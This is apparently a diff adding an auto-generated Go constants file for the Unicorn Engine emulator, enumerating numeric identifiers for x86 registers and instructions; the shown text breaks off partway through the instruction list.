+// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [x86_const.go] +const ( + +// X86 registers + + X86_REG_INVALID = 0 + X86_REG_AH = 1 + X86_REG_AL = 2 + X86_REG_AX = 3 + X86_REG_BH = 4 + X86_REG_BL = 5 + X86_REG_BP = 6 + X86_REG_BPL = 7 + X86_REG_BX = 8 + X86_REG_CH = 9 + X86_REG_CL = 10 + X86_REG_CS = 11 + X86_REG_CX = 12 + X86_REG_DH = 13 + X86_REG_DI = 14 + X86_REG_DIL = 15 + X86_REG_DL = 16 + X86_REG_DS = 17 + X86_REG_DX = 18 + X86_REG_EAX = 19 + X86_REG_EBP = 20 + X86_REG_EBX = 21 + X86_REG_ECX = 22 + X86_REG_EDI = 23 + X86_REG_EDX = 24 + X86_REG_EFLAGS = 25 + X86_REG_EIP = 26 + X86_REG_EIZ = 27 + X86_REG_ES = 28 + X86_REG_ESI = 29 + X86_REG_ESP = 30 + X86_REG_FPSW = 31 + X86_REG_FS = 32 + X86_REG_GS = 33 + X86_REG_IP = 34 + X86_REG_RAX = 35 + X86_REG_RBP = 36 + X86_REG_RBX = 37 + X86_REG_RCX = 38 + X86_REG_RDI = 39 + X86_REG_RDX = 40 + X86_REG_RIP = 41 + X86_REG_RIZ = 42 + X86_REG_RSI = 43 + X86_REG_RSP = 44 + X86_REG_SI = 45 + X86_REG_SIL = 46 + X86_REG_SP = 47 + X86_REG_SPL = 48 + X86_REG_SS = 49 + X86_REG_CR0 = 50 + X86_REG_CR1 = 51 + X86_REG_CR2 = 52 + X86_REG_CR3 = 53 + X86_REG_CR4 = 54 + X86_REG_CR5 = 55 + X86_REG_CR6 = 56 + X86_REG_CR7 = 57 + X86_REG_CR8 = 58 + X86_REG_CR9 = 59 + X86_REG_CR10 = 60 + X86_REG_CR11 = 61 + X86_REG_CR12 = 62 + X86_REG_CR13 = 63 + X86_REG_CR14 = 64 + X86_REG_CR15 = 65 + X86_REG_DR0 = 66 + X86_REG_DR1 = 67 + X86_REG_DR2 = 68 + X86_REG_DR3 = 69 + X86_REG_DR4 = 70 + X86_REG_DR5 = 71 + X86_REG_DR6 = 72 + X86_REG_DR7 = 73 + X86_REG_DR8 = 74 + X86_REG_DR9 = 75 + X86_REG_DR10 = 76 + X86_REG_DR11 = 77 + X86_REG_DR12 = 78 + X86_REG_DR13 = 79 + X86_REG_DR14 = 80 + X86_REG_DR15 = 81 + X86_REG_FP0 = 82 + X86_REG_FP1 = 83 + X86_REG_FP2 = 84 + X86_REG_FP3 = 85 + X86_REG_FP4 = 86 + X86_REG_FP5 = 87 + X86_REG_FP6 = 88 + X86_REG_FP7 = 89 + X86_REG_K0 = 90 + X86_REG_K1 = 91 + X86_REG_K2 = 92 + X86_REG_K3 = 93 + X86_REG_K4 = 94 + X86_REG_K5 = 95 + X86_REG_K6 = 96 + X86_REG_K7 = 97 + X86_REG_MM0 = 98 + X86_REG_MM1 = 99 + X86_REG_MM2 = 100 + X86_REG_MM3 = 101 + X86_REG_MM4 = 102 + X86_REG_MM5 = 103 + X86_REG_MM6 = 104 + X86_REG_MM7 = 105 + X86_REG_R8 = 106 + X86_REG_R9 = 107 + X86_REG_R10 = 108 + X86_REG_R11 = 109 + X86_REG_R12 = 110 + X86_REG_R13 = 111 + X86_REG_R14 = 112 + X86_REG_R15 = 113 + X86_REG_ST0 = 114 + X86_REG_ST1 = 115 + X86_REG_ST2 = 116 + X86_REG_ST3 = 117 + X86_REG_ST4 = 118 + X86_REG_ST5 = 119 + X86_REG_ST6 = 120 + X86_REG_ST7 = 121 + X86_REG_XMM0 = 122 + X86_REG_XMM1 = 123 + X86_REG_XMM2 = 124 + X86_REG_XMM3 = 125 + X86_REG_XMM4 = 126 + X86_REG_XMM5 = 127 + X86_REG_XMM6 = 128 + X86_REG_XMM7 = 129 + X86_REG_XMM8 = 130 + X86_REG_XMM9 = 131 + X86_REG_XMM10 = 132 + X86_REG_XMM11 = 133 + X86_REG_XMM12 = 134 + X86_REG_XMM13 = 135 + X86_REG_XMM14 = 136 + X86_REG_XMM15 = 137 + X86_REG_XMM16 = 138 + X86_REG_XMM17 = 139 + X86_REG_XMM18 = 140 + X86_REG_XMM19 = 141 + X86_REG_XMM20 = 142 + X86_REG_XMM21 = 143 + X86_REG_XMM22 = 144 + X86_REG_XMM23 = 145 + X86_REG_XMM24 = 146 + X86_REG_XMM25 = 147 + X86_REG_XMM26 = 148 + X86_REG_XMM27 = 149 + X86_REG_XMM28 = 150 + X86_REG_XMM29 = 151 + X86_REG_XMM30 = 152 + X86_REG_XMM31 = 153 + X86_REG_YMM0 = 154 + X86_REG_YMM1 = 155 + X86_REG_YMM2 = 156 + X86_REG_YMM3 = 157 + X86_REG_YMM4 = 158 + X86_REG_YMM5 = 159 + X86_REG_YMM6 = 160 + X86_REG_YMM7 = 161 + X86_REG_YMM8 = 162 + X86_REG_YMM9 = 163 + X86_REG_YMM10 = 164 + X86_REG_YMM11 = 165 + X86_REG_YMM12 = 166 + X86_REG_YMM13 = 167 + X86_REG_YMM14 = 168 + X86_REG_YMM15 = 169 + X86_REG_YMM16 = 170 + X86_REG_YMM17 = 171 + X86_REG_YMM18 = 172 + X86_REG_YMM19 = 173 + X86_REG_YMM20 = 174 + X86_REG_YMM21 = 175 + X86_REG_YMM22 = 176 + X86_REG_YMM23 = 177 + X86_REG_YMM24 = 178 + X86_REG_YMM25 = 179 + X86_REG_YMM26 = 180 + X86_REG_YMM27 = 181 + X86_REG_YMM28 = 182 + X86_REG_YMM29 = 183 + X86_REG_YMM30 = 184 + X86_REG_YMM31 = 185 + X86_REG_ZMM0 = 186 + X86_REG_ZMM1 = 187 + X86_REG_ZMM2 = 188 + X86_REG_ZMM3 = 189 + X86_REG_ZMM4 = 190 + X86_REG_ZMM5 = 191 + X86_REG_ZMM6 = 192 + X86_REG_ZMM7 = 193 + X86_REG_ZMM8 = 194 + X86_REG_ZMM9 = 195 + X86_REG_ZMM10 = 196 + X86_REG_ZMM11 = 197 + X86_REG_ZMM12 = 198 + X86_REG_ZMM13 = 199 + X86_REG_ZMM14 = 200 + X86_REG_ZMM15 = 201 + X86_REG_ZMM16 = 202 + X86_REG_ZMM17 = 203 + X86_REG_ZMM18 = 204 + X86_REG_ZMM19 = 205 + X86_REG_ZMM20 = 206 + X86_REG_ZMM21 = 207 + X86_REG_ZMM22 = 208 + X86_REG_ZMM23 = 209 + X86_REG_ZMM24 = 210 + X86_REG_ZMM25 = 211 + X86_REG_ZMM26 = 212 + X86_REG_ZMM27 = 213 + X86_REG_ZMM28 = 214 + X86_REG_ZMM29 = 215 + X86_REG_ZMM30 = 216 + X86_REG_ZMM31 = 217 + X86_REG_R8B = 218 + X86_REG_R9B = 219 + X86_REG_R10B = 220 + X86_REG_R11B = 221 + X86_REG_R12B = 222 + X86_REG_R13B = 223 + X86_REG_R14B = 224 + X86_REG_R15B = 225 + X86_REG_R8D = 226 + X86_REG_R9D = 227 + X86_REG_R10D = 228 + X86_REG_R11D = 229 + X86_REG_R12D = 230 + X86_REG_R13D = 231 + X86_REG_R14D = 232 + X86_REG_R15D = 233 + X86_REG_R8W = 234 + X86_REG_R9W = 235 + X86_REG_R10W = 236 + X86_REG_R11W = 237 + X86_REG_R12W = 238 + X86_REG_R13W = 239 + X86_REG_R14W = 240 + X86_REG_R15W = 241 + X86_REG_IDTR = 242 + X86_REG_GDTR = 243 + X86_REG_LDTR = 244 + X86_REG_TR = 245 + X86_REG_FPCW = 246 + X86_REG_FPTAG = 247 + X86_REG_MSR = 248 + X86_REG_MXCSR = 249 + X86_REG_FS_BASE = 250 + X86_REG_GS_BASE = 251 + X86_REG_ENDING = 252 + +// X86 instructions + + X86_INS_INVALID = 0 + X86_INS_AAA = 1 + X86_INS_AAD = 2 + X86_INS_AAM = 3 + X86_INS_AAS = 4 + X86_INS_FABS = 5 + X86_INS_ADC = 6 + X86_INS_ADCX = 7 + X86_INS_ADD = 8 + X86_INS_ADDPD = 9 + X86_INS_ADDPS = 10 + X86_INS_ADDSD = 11 + X86_INS_ADDSS = 12 + X86_INS_ADDSUBPD = 13 + X86_INS_ADDSUBPS = 14 + X86_INS_FADD = 15 + X86_INS_FIADD = 16 + X86_INS_FADDP = 17 + X86_INS_ADOX = 18 + X86_INS_AESDECLAST = 19 + X86_INS_AESDEC = 20 + X86_INS_AESENCLAST = 21 + X86_INS_AESENC = 22 + X86_INS_AESIMC = 23 + X86_INS_AESKEYGENASSIST = 24 + X86_INS_AND = 25 + X86_INS_ANDN = 26 + X86_INS_ANDNPD = 27 + X86_INS_ANDNPS = 28 + X86_INS_ANDPD = 29 + X86_INS_ANDPS = 30 + X86_INS_ARPL = 31 + X86_INS_BEXTR = 32 + X86_INS_BLCFILL = 33 + X86_INS_BLCI = 34 + X86_INS_BLCIC = 35 + X86_INS_BLCMSK = 36 + X86_INS_BLCS = 37 + X86_INS_BLENDPD = 38 + X86_INS_BLENDPS = 39 + X86_INS_BLENDVPD = 40 + X86_INS_BLENDVPS = 41 + X86_INS_BLSFILL = 42 + X86_INS_BLSI = 43 + X86_INS_BLSIC = 44 + X86_INS_BLSMSK = 45 + X86_INS_BLSR = 46 + X86_INS_BOUND = 47 + X86_INS_BSF = 48 + X86_INS_BSR = 49 + X86_INS_BSWAP = 50 + X86_INS_BT = 51 + X86_INS_BTC = 52 + X86_INS_BTR = 53 + X86_INS_BTS = 54 + X86_INS_BZHI = 55 + X86_INS_CALL = 56 + X86_INS_CBW = 57 + X86_INS_CDQ = 58 + X86_INS_CDQE = 59 + X86_INS_FCHS = 60 + X86_INS_CLAC = 61 + X86_INS_CLC = 62 + X86_INS_CLD = 63 + X86_INS_CLFLUSH = 64 + X86_INS_CLFLUSHOPT = 65 + X86_INS_CLGI = 66 + X86_INS_CLI = 67 + X86_INS_CLTS = 68 + X86_INS_CLWB = 69 + X86_INS_CMC = 70 + X86_INS_CMOVA = 71 + X86_INS_CMOVAE = 72 + X86_INS_CMOVB = 73 + X86_INS_CMOVBE = 74 + X86_INS_FCMOVBE = 75 + X86_INS_FCMOVB = 76 + X86_INS_CMOVE = 77 + X86_INS_FCMOVE = 78 + X86_INS_CMOVG = 79 + X86_INS_CMOVGE = 80 + X86_INS_CMOVL = 81 + X86_INS_CMOVLE = 82 + X86_INS_FCMOVNBE = 83 + X86_INS_FCMOVNB = 84 + X86_INS_CMOVNE = 85 + X86_INS_FCMOVNE = 86 + X86_INS_CMOVNO = 87 + X86_INS_CMOVNP = 88 + X86_INS_FCMOVNU = 89 + X86_INS_CMOVNS = 90 + X86_INS_CMOVO = 91 + X86_INS_CMOVP = 92 + X86_INS_FCMOVU = 93 + X86_INS_CMOVS = 94 + X86_INS_CMP = 95 + X86_INS_CMPPD = 96 + X86_INS_CMPPS = 97 + X86_INS_CMPSB = 98 + X86_INS_CMPSD = 99 + X86_INS_CMPSQ = 100 + X86_INS_CMPSS = 101 + X86_INS_CMPSW = 102 + X86_INS_CMPXCHG16B = 103 + X86_INS_CMPXCHG = 104 + X86_INS_CMPXCHG8B = 105 + X86_INS_COMISD = 106 + X86_INS_COMISS = 107 + X86_INS_FCOMP = 108 + X86_INS_FCOMPI = 109 + X86_INS_FCOMI = 110 + X86_INS_FCOM = 111 + X86_INS_FCOS = 112 + X86_INS_CPUID = 113 + X86_INS_CQO = 114 + X86_INS_CRC32 = 115 + X86_INS_CVTDQ2PD = 116 + X86_INS_CVTDQ2PS = 117 + X86_INS_CVTPD2DQ = 118 + X86_INS_CVTPD2PS = 119 + X86_INS_CVTPS2DQ = 120 + X86_INS_CVTPS2PD = 121 + X86_INS_CVTSD2SI = 122 + X86_INS_CVTSD2SS = 123 + X86_INS_CVTSI2SD = 124 + X86_INS_CVTSI2SS = 125 + X86_INS_CVTSS2SD = 126 + X86_INS_CVTSS2SI = 127 + X86_INS_CVTTPD2DQ = 128 + X86_INS_CVTTPS2DQ = 129 + X86_INS_CVTTSD2SI = 130 + X86_INS_CVTTSS2SI = 131 + X86_INS_CWD = 132 + X86_INS_CWDE = 133 + X86_INS_DAA = 134 + X86_INS_DAS = 135 + X86_INS_DATA16 = 136 + X86_INS_DEC = 137 + X86_INS_DIV = 138 + X86_INS_DIVPD = 139 + X86_INS_DIVPS = 140 + X86_INS_FDIVR = 141 + X86_INS_FIDIVR = 142 + X86_INS_FDIVRP = 143 + X86_INS_DIVSD = 144 + X86_INS_DIVSS = 145 + X86_INS_FDIV = 146 + X86_INS_FIDIV = 147 + X86_INS_FDIVP = 148 + X86_INS_DPPD = 149 + X86_INS_DPPS = 150 + X86_INS_RET = 151 + X86_INS_ENCLS = 152 + X86_INS_ENCLU = 153 + X86_INS_ENTER = 154 + X86_INS_EXTRACTPS = 155 + X86_INS_EXTRQ = 156 + X86_INS_F2XM1 = 157 + X86_INS_LCALL = 158 + X86_INS_LJMP = 159 + X86_INS_FBLD = 160 + X86_INS_FBSTP = 161 + X86_INS_FCOMPP = 162 + X86_INS_FDECSTP = 163 + X86_INS_FEMMS = 164 + X86_INS_FFREE = 165 + X86_INS_FICOM = 166 + X86_INS_FICOMP = 167 + X86_INS_FINCSTP = 168 + X86_INS_FLDCW = 169 + X86_INS_FLDENV = 170 + X86_INS_FLDL2E = 171 + X86_INS_FLDL2T = 172 + X86_INS_FLDLG2 = 173 + X86_INS_FLDLN2 = 174 + X86_INS_FLDPI = 175 + X86_INS_FNCLEX = 176 + X86_INS_FNINIT = 177 + X86_INS_FNOP = 178 + X86_INS_FNSTCW = 179 + X86_INS_FNSTSW = 180 + X86_INS_FPATAN = 181 + X86_INS_FPREM = 182 + X86_INS_FPREM1 = 183 + X86_INS_FPTAN = 184 + X86_INS_FFREEP = 185 + X86_INS_FRNDINT = 186 + X86_INS_FRSTOR = 187 + X86_INS_FNSAVE = 188 + X86_INS_FSCALE = 189 + X86_INS_FSETPM = 190 + X86_INS_FSINCOS = 191 + X86_INS_FNSTENV = 192 + X86_INS_FXAM = 193 + X86_INS_FXRSTOR = 194 + X86_INS_FXRSTOR64 = 195 + X86_INS_FXSAVE = 196 + X86_INS_FXSAVE64 = 197 + X86_INS_FXTRACT = 198 + X86_INS_FYL2X = 199 + X86_INS_FYL2XP1 = 200 + X86_INS_MOVAPD = 201 + X86_INS_MOVAPS = 202 + X86_INS_ORPD = 203 + X86_INS_ORPS = 204 + X86_INS_VMOVAPD = 205 + X86_INS_VMOVAPS = 206 + X86_INS_XORPD = 207 + X86_INS_XORPS = 208 + X86_INS_GETSEC = 209 + X86_INS_HADDPD = 210 + X86_INS_HADDPS = 211 + X86_INS_HLT = 212 + X86_INS_HSUBPD = 213 + X86_INS_HSUBPS = 214 + X86_INS_IDIV = 215 + X86_INS_FILD = 216 + X86_INS_IMUL = 217 + X86_INS_IN = 218 + X86_INS_INC = 219 + X86_INS_INSB = 220 + X86_INS_INSERTPS = 221 + X86_INS_INSERTQ = 222 + X86_INS_INSD = 223 + X86_INS_INSW = 224 + X86_INS_INT = 225 + X86_INS_INT1 = 226 + X86_INS_INT3 = 227 + X86_INS_INTO = 228 + X86_INS_INVD = 229 + X86_INS_INVEPT = 230 + X86_INS_INVLPG = 231 + X86_INS_INVLPGA = 232 + X86_INS_INVPCID = 233 + X86_INS_INVVPID = 234 + X86_INS_IRET = 235 + X86_INS_IRETD = 236 + X86_INS_IRETQ = 237 + X86_INS_FISTTP = 238 + X86_INS_FIST = 239 + X86_INS_FISTP = 240 + X86_INS_UCOMISD = 241 + X86_INS_UCOMISS = 242 + X86_INS_VCOMISD = 243 + X86_INS_VCOMISS = 244 + X86_INS_VCVTSD2SS = 245 + X86_INS_VCVTSI2SD = 246 + X86_INS_VCVTSI2SS = 247 + X86_INS_VCVTSS2SD = 248 + X86_INS_VCVTTSD2SI = 249 + X86_INS_VCVTTSD2USI = 250 + X86_INS_VCVTTSS2SI = 251 + X86_INS_VCVTTSS2USI = 252 + X86_INS_VCVTUSI2SD = 253 + X86_INS_VCVTUSI2SS = 254 + X86_INS_VUCOMISD = 255 + X86_INS_VUCOMISS = 256 + X86_INS_JAE = 257 + X86_INS_JA = 258 + X86_INS_JBE = 259 + X86_INS_JB = 260 + X86_INS_JCXZ = 261 + X86_INS_JECXZ = 262 + X86_INS_JE = 263 + X86_INS_JGE = 264 + X86_INS_JG = 265 + X86_INS_JLE = 266 + X86_INS_JL = 267 + X86_INS_JMP = 268 + X86_INS_JNE = 269 + X86_INS_JNO = 270 + X86_INS_JNP = 271 + X86_INS_JNS = 272 + X86_INS_JO = 273 + X86_INS_JP = 274 + X86_INS_JRCXZ = 275 + X86_INS_JS = 276 + X86_INS_KANDB = 277 + X86_INS_KANDD = 278 + X86_INS_KANDNB = 279 + X86_INS_KANDND = 280 + X86_INS_KANDNQ = 281 + X86_INS_KANDNW = 282 + X86_INS_KANDQ = 283 + X86_INS_KANDW = 284 + X86_INS_KMOVB = 285 + X86_INS_KMOVD = 286 + X86_INS_KMOVQ = 287 + X86_INS_KMOVW = 288 + X86_INS_KNOTB = 289 + X86_INS_KNOTD = 290 + X86_INS_KNOTQ = 291 + X86_INS_KNOTW = 292 + X86_INS_KORB = 293 + X86_INS_KORD = 294 + X86_INS_KORQ = 295 + X86_INS_KORTESTB = 296 + X86_INS_KORTESTD = 297 + X86_INS_KORTESTQ = 298 + X86_INS_KORTESTW = 299 + X86_INS_KORW = 300 + X86_INS_KSHIFTLB = 301 + X86_INS_KSHIFTLD = 302 + X86_INS_KSHIFTLQ = 303 + X86_INS_KSHIFTLW = 304 + X86_INS_KSHIFTRB = 305 + X86_INS_KSHIFTRD = 306 + X86_INS_KSHIFTRQ = 307 + X86_INS_KSHIFTRW = 308 + X86_INS_KUNPCKBW = 309 + X86_INS_KXNORB = 310 + X86_INS_KXNORD = 311 + X86_INS_KXNORQ = 312 + X86_INS_KXNORW = 313 + X86_INS_KXORB = 314 + X86_INS_KXORD = 315 + X86_INS_KXORQ = 316 + X86_INS_KXORW = 317 + X86_INS_LAHF = 318 + X86_INS_LAR = 319 + X86_INS_LDDQU = 320 + X86_INS_LDMXCSR = 321 + X86_INS_LDS = 322 + X86_INS_FLDZ = 323 + X86_INS_FLD1 = 324 + X86_INS_FLD = 325 + X86_INS_LEA = 326 + X86_INS_LEAVE = 327 + X86_INS_LES = 328 + X86_INS_LFENCE = 329 + X86_INS_LFS = 330 + X86_INS_LGDT = 331 + X86_INS_LGS = 332 + X86_INS_LIDT = 333 + X86_INS_LLDT = 334 + X86_INS_LMSW = 335 + X86_INS_OR = 336 + X86_INS_SUB = 337 + X86_INS_XOR = 338 + X86_INS_LODSB = 339 + X86_INS_LODSD = 340 + X86_INS_LODSQ = 341 + X86_INS_LODSW = 342 + X86_INS_LOOP = 343 + X86_INS_LOOPE = 344 + X86_INS_LOOPNE = 345 + X86_INS_RETF = 346 + X86_INS_RETFQ = 347 + X86_INS_LSL = 348 + X86_INS_LSS = 349 + X86_INS_LTR = 350 + X86_INS_XADD = 351 + X86_INS_LZCNT = 352 + X86_INS_MASKMOVDQU = 353 + X86_INS_MAXPD = 354 + X86_INS_MAXPS = 355 + X86_INS_MAXSD = 356 + X86_INS_MAXSS = 357 + X86_INS_MFENCE = 358 + X86_INS_MINPD = 359 + X86_INS_MINPS = 360 + X86_INS_MINSD = 361 + X86_INS_MINSS = 362 + X86_INS_CVTPD2PI = 363 + X86_INS_CVTPI2PD = 364 + X86_INS_CVTPI2PS = 365 + X86_INS_CVTPS2PI = 366 + X86_INS_CVTTPD2PI = 367 + X86_INS_CVTTPS2PI = 368 + X86_INS_EMMS = 369 + X86_INS_MASKMOVQ = 370 + X86_INS_MOVD = 371 + X86_INS_MOVDQ2Q = 372 + X86_INS_MOVNTQ = 373 + X86_INS_MOVQ2DQ = 374 + X86_INS_MOVQ = 375 + X86_INS_PABSB = 376 + X86_INS_PABSD = 377 + X86_INS_PABSW = 378 + X86_INS_PACKSSDW = 379 + X86_INS_PACKSSWB = 380 + X86_INS_PACKUSWB = 381 + X86_INS_PADDB = 382 + X86_INS_PADDD = 383 + X86_INS_PADDQ = 384 + X86_INS_PADDSB = 385 + X86_INS_PADDSW = 386 + X86_INS_PADDUSB = 387 + X86_INS_PADDUSW = 388 + X86_INS_PADDW = 389 + X86_INS_PALIGNR = 390 + X86_INS_PANDN = 391 + X86_INS_PAND = 392 + X86_INS_PAVGB = 393 + X86_INS_PAVGW = 394 + X86_INS_PCMPEQB = 395 + X86_INS_PCMPEQD = 396 + X86_INS_PCMPEQW = 397 + X86_INS_PCMPGTB = 398 + X86_INS_PCMPGTD = 399 + X86_INS_PCMPGTW = 400 + X86_INS_PEXTRW = 401 + X86_INS_PHADDSW = 402 + X86_INS_PHADDW = 403 + X86_INS_PHADDD = 404 + X86_INS_PHSUBD = 405 + X86_INS_PHSUBSW = 406 + X86_INS_PHSUBW = 407 + X86_INS_PINSRW = 408 + X86_INS_PMADDUBSW = 409 + X86_INS_PMADDWD = 410 + X86_INS_PMAXSW = 411 + X86_INS_PMAXUB = 412 + X86_INS_PMINSW = 413 + X86_INS_PMINUB = 414 + X86_INS_PMOVMSKB = 415 + X86_INS_PMULHRSW = 416 + X86_INS_PMULHUW = 417 + X86_INS_PMULHW = 418 + X86_INS_PMULLW = 419 + X86_INS_PMULUDQ = 420 + X86_INS_POR = 421 + X86_INS_PSADBW = 422 + X86_INS_PSHUFB = 423 + X86_INS_PSHUFW = 424 + X86_INS_PSIGNB = 425 + X86_INS_PSIGND = 426 + X86_INS_PSIGNW = 427 + X86_INS_PSLLD = 428 + X86_INS_PSLLQ = 429 + X86_INS_PSLLW = 430 + X86_INS_PSRAD = 431 + X86_INS_PSRAW = 432 + X86_INS_PSRLD = 433 + X86_INS_PSRLQ = 434 + X86_INS_PSRLW = 435 + X86_INS_PSUBB = 436 + X86_INS_PSUBD = 437 + X86_INS_PSUBQ = 438 + X86_INS_PSUBSB = 439 + X86_INS_PSUBSW = 440 + X86_INS_PSUBUSB = 441 + X86_INS_PSUBUSW = 442 + X86_INS_PSUBW = 443 + X86_INS_PUNPCKHBW = 444 + X86_INS_PUNPCKHDQ = 445 + X86_INS_PUNPCKHWD = 446 + X86_INS_PUNPCKLBW = 447 + X86_INS_PUNPCKLDQ = 448 + X86_INS_PUNPCKLWD = 449 + X86_INS_PXOR = 450 + X86_INS_MONITOR = 451 + X86_INS_MONTMUL = 452 + X86_INS_MOV = 453 + X86_INS_MOVABS = 454 + X86_INS_MOVBE = 455 + X86_INS_MOVDDUP = 456 + X86_INS_MOVDQA = 457 + X86_INS_MOVDQU = 458 + X86_INS_MOVHLPS = 459 + X86_INS_MOVHPD = 460 + X86_INS_MOVHPS = 461 + X86_INS_MOVLHPS = 462 + X86_INS_MOVLPD = 463 + X86_INS_MOVLPS = 464 + X86_INS_MOVMSKPD = 465 + X86_INS_MOVMSKPS = 466 + X86_INS_MOVNTDQA = 467 + X86_INS_MOVNTDQ = 468 + X86_INS_MOVNTI = 469 + X86_INS_MOVNTPD = 470 + X86_INS_MOVNTPS = 471 + X86_INS_MOVNTSD = 472 + X86_INS_MOVNTSS = 473 + X86_INS_MOVSB = 474 + X86_INS_MOVSD = 475 + X86_INS_MOVSHDUP = 476 + X86_INS_MOVSLDUP = 477 + X86_INS_MOVSQ = 478 + X86_INS_MOVSS = 479 + X86_INS_MOVSW = 480 + X86_INS_MOVSX = 481 + X86_INS_MOVSXD = 482 + X86_INS_MOVUPD = 483 + X86_INS_MOVUPS = 484 + X86_INS_MOVZX = 485 + X86_INS_MPSADBW = 486 + X86_INS_MUL = 487 + X86_INS_MULPD = 488 + X86_INS_MULPS = 489 + X86_INS_MULSD = 490 + X86_INS_MULSS = 491 + X86_INS_MULX = 492 + X86_INS_FMUL = 493 + X86_INS_FIMUL = 494 + X86_INS_FMULP = 495 + X86_INS_MWAIT = 496 + X86_INS_NEG = 497 + X86_INS_NOP = 498 + X86_INS_NOT = 499 + X86_INS_OUT = 500 + X86_INS_OUTSB = 501 + X86_INS_OUTSD = 502 + X86_INS_OUTSW = 503 + X86_INS_PACKUSDW = 504 + X86_INS_PAUSE = 505 + X86_INS_PAVGUSB = 506 + X86_INS_PBLENDVB = 507 + X86_INS_PBLENDW = 508 + X86_INS_PCLMULQDQ = 509 + X86_INS_PCMPEQQ = 510 + X86_INS_PCMPESTRI = 511 + X86_INS_PCMPESTRM = 512 + X86_INS_PCMPGTQ = 513 + X86_INS_PCMPISTRI = 514 + X86_INS_PCMPISTRM = 515 + X86_INS_PCOMMIT = 516 + X86_INS_PDEP = 517 + X86_INS_PEXT = 518 + X86_INS_PEXTRB = 519 + X86_INS_PEXTRD = 520 + X86_INS_PEXTRQ = 521 + X86_INS_PF2ID = 522 + X86_INS_PF2IW = 523 + X86_INS_PFACC = 524 + X86_INS_PFADD = 525 + X86_INS_PFCMPEQ = 526 + X86_INS_PFCMPGE = 527 + X86_INS_PFCMPGT = 528 + X86_INS_PFMAX = 529 + X86_INS_PFMIN = 530 + X86_INS_PFMUL = 531 + X86_INS_PFNACC = 532 + X86_INS_PFPNACC = 533 + X86_INS_PFRCPIT1 = 534 + X86_INS_PFRCPIT2 = 535 + X86_INS_PFRCP = 536 + X86_INS_PFRSQIT1 = 537 + X86_INS_PFRSQRT = 538 + X86_INS_PFSUBR = 539 + X86_INS_PFSUB = 540 + X86_INS_PHMINPOSUW = 541 + X86_INS_PI2FD = 542 + X86_INS_PI2FW = 543 + X86_INS_PINSRB = 544 + X86_INS_PINSRD = 545 + X86_INS_PINSRQ = 546 + X86_INS_PMAXSB = 547 + X86_INS_PMAXSD = 548 + X86_INS_PMAXUD = 549 + X86_INS_PMAXUW = 550 + X86_INS_PMINSB = 551 + X86_INS_PMINSD = 552 + X86_INS_PMINUD = 553 + X86_INS_PMINUW = 554 + X86_INS_PMOVSXBD = 555 + X86_INS_PMOVSXBQ = 556 + X86_INS_PMOVSXBW = 557 + X86_INS_PMOVSXDQ = 558 + X86_INS_PMOVSXWD = 559 + X86_INS_PMOVSXWQ = 560 + X86_INS_PMOVZXBD = 561 + X86_INS_PMOVZXBQ = 562 + X86_INS_PMOVZXBW = 563 + X86_INS_PMOVZXDQ = 564 + X86_INS_PMOVZXWD = 565 + X86_INS_PMOVZXWQ = 566 + X86_INS_PMULDQ = 567 + X86_INS_PMULHRW = 568 + X86_INS_PMULLD = 569 + X86_INS_POP = 570 + X86_INS_POPAW = 571 + X86_INS_POPAL = 572 + X86_INS_POPCNT = 573 + X86_INS_POPF = 574 + X86_INS_POPFD = 575 + X86_INS_POPFQ = 576 + X86_INS_PREFETCH = 577 + X86_INS_PREFETCHNTA = 578 + X86_INS_PREFETCHT0 = 579 + X86_INS_PREFETCHT1 = 580 + X86_INS_PREFETCHT2 = 581 + X86_INS_PREFETCHW = 582 + X86_INS_PSHUFD = 583 + X86_INS_PSHUFHW = 584 + X86_INS_PSHUFLW = 585 + X86_INS_PSLLDQ = 586 + X86_INS_PSRLDQ = 587 + X86_INS_PSWAPD = 588 + X86_INS_PTEST = 589 + X86_INS_PUNPCKHQDQ = 590 + X86_INS_PUNPCKLQDQ = 591 + X86_INS_PUSH = 592 + X86_INS_PUSHAW = 593 + X86_INS_PUSHAL = 594 + X86_INS_PUSHF = 595 + X86_INS_PUSHFD = 596 + X86_INS_PUSHFQ = 597 + X86_INS_RCL = 598 + X86_INS_RCPPS = 599 + X86_INS_RCPSS = 600 + X86_INS_RCR = 601 + X86_INS_RDFSBASE = 602 + X86_INS_RDGSBASE = 603 + X86_INS_RDMSR = 604 + X86_INS_RDPMC = 605 + X86_INS_RDRAND = 606 + X86_INS_RDSEED = 607 + X86_INS_RDTSC = 608 + X86_INS_RDTSCP = 609 + X86_INS_ROL = 610 + X86_INS_ROR = 611 + X86_INS_RORX = 612 + X86_INS_ROUNDPD = 613 + X86_INS_ROUNDPS = 614 + X86_INS_ROUNDSD = 615 + X86_INS_ROUNDSS = 616 + X86_INS_RSM = 617 + X86_INS_RSQRTPS = 618 + X86_INS_RSQRTSS = 619 + X86_INS_SAHF = 620 + X86_INS_SAL = 621 + X86_INS_SALC = 622 + X86_INS_SAR = 623 + X86_INS_SARX = 624 + X86_INS_SBB = 625 + X86_INS_SCASB = 626 + X86_INS_SCASD = 627 + X86_INS_SCASQ = 628 + X86_INS_SCASW = 629 + X86_INS_SETAE = 630 + X86_INS_SETA = 631 + X86_INS_SETBE = 632 + X86_INS_SETB = 633 + X86_INS_SETE = 634 + X86_INS_SETGE = 635 + X86_INS_SETG = 636 + X86_INS_SETLE = 637 + X86_INS_SETL = 638 + X86_INS_SETNE = 639 + X86_INS_SETNO = 640 + X86_INS_SETNP = 641 + X86_INS_SETNS = 642 + X86_INS_SETO = 643 + X86_INS_SETP = 644 + X86_INS_SETS = 645 + X86_INS_SFENCE = 646 + X86_INS_SGDT = 647 + X86_INS_SHA1MSG1 = 648 + X86_INS_SHA1MSG2 = 649 + X86_INS_SHA1NEXTE = 650 + X86_INS_SHA1RNDS4 = 651 + X86_INS_SHA256MSG1 = 652 + X86_INS_SHA256MSG2 = 653 + X86_INS_SHA256RNDS2 = 654 + X86_INS_SHL = 655 + X86_INS_SHLD = 656 + X86_INS_SHLX = 657 + X86_INS_SHR = 658 + X86_INS_SHRD = 659 + X86_INS_SHRX = 660 + X86_INS_SHUFPD = 661 + X86_INS_SHUFPS = 662 + X86_INS_SIDT = 663 + X86_INS_FSIN = 664 + X86_INS_SKINIT = 665 + X86_INS_SLDT = 666 + X86_INS_SMSW = 667 + X86_INS_SQRTPD = 668 + X86_INS_SQRTPS = 669 + X86_INS_SQRTSD = 670 + X86_INS_SQRTSS = 671 + X86_INS_FSQRT = 672 + X86_INS_STAC = 673 + X86_INS_STC = 674 + X86_INS_STD = 675 + X86_INS_STGI 